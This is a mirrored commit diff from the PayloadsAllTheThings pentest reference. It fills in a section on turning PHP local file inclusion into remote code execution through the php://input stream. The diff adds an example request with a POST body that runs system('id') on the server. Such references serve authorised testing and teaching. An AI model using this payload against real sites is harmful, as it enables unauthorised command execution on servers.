mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
LFI to RCE via input:// stream
This commit is contained in:
parent
3e6043be32
commit
87ef554e40
@ -117,11 +117,11 @@ Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/down
|
||||
|
||||
|
||||
## LFI to RCE via input:// stream
|
||||
TODO
|
||||
file=php://input
|
||||
(specify your payload in the POST parameters,
|
||||
|
||||
|
||||
Specify your payload in the POST parameters
|
||||
```
|
||||
http://example.com/index.php?page=php://input
|
||||
POST DATA: <? system('id'); ?>
|
||||
```
|
||||
|
||||
## LFI to RCE via controlled log file
|
||||
Just append your PHP code into the log file and include it.
|
||||
|
Loading…
Reference in New Issue
Block a user